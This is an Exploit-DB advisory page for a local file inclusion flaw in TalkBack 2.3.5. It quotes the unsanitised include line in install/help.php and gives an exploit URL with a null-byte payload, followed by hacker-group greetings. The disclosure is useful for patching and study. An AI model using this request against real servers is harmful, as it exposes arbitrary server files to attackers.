Lucene search

K
exploitdbNoGeEDB-ID:6148
HistoryJul 28, 2008 - 12:00 a.m.

TalkBack 2.3.5 - 'Language' Local File Inclusion

2008-07-2800:00:00
NoGe
www.exploit-db.com
27

AI Score

7.4

Confidence

Low

=============================================================================================================

  [o] TalkBack 2.3.5 Local File Inclusion Vulnerability

       Software : TalkBack version 2.3.5
       Vendor   : http://www.scripts.oldguy.us/talkback
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com

=============================================================================================================

  [o] Vulnerable file

       install/help.php

        include "../language/{$_REQUEST['language']}.php";



  [o] Exploit

       http://localhost/[path]/install/help.php?language=[LFI]%00


=============================================================================================================

  [o] Greetz

       supported by irc.nob0dy.net
       skulmatic olibekas ulga Cungkee nyubi k1tk4t str0ke
       H312Y yooogy mousekill }^-^{ martfella
       okegay OoN_Gay pagay (sungguh penyembunyian sebuah karakter dibalik makna kata) /me brb ngakak..  :) 
 
=============================================================================================================

# milw0rm.com [2008-07-28]

AI Score

7.4

Confidence

Low

Related for EDB-ID:6148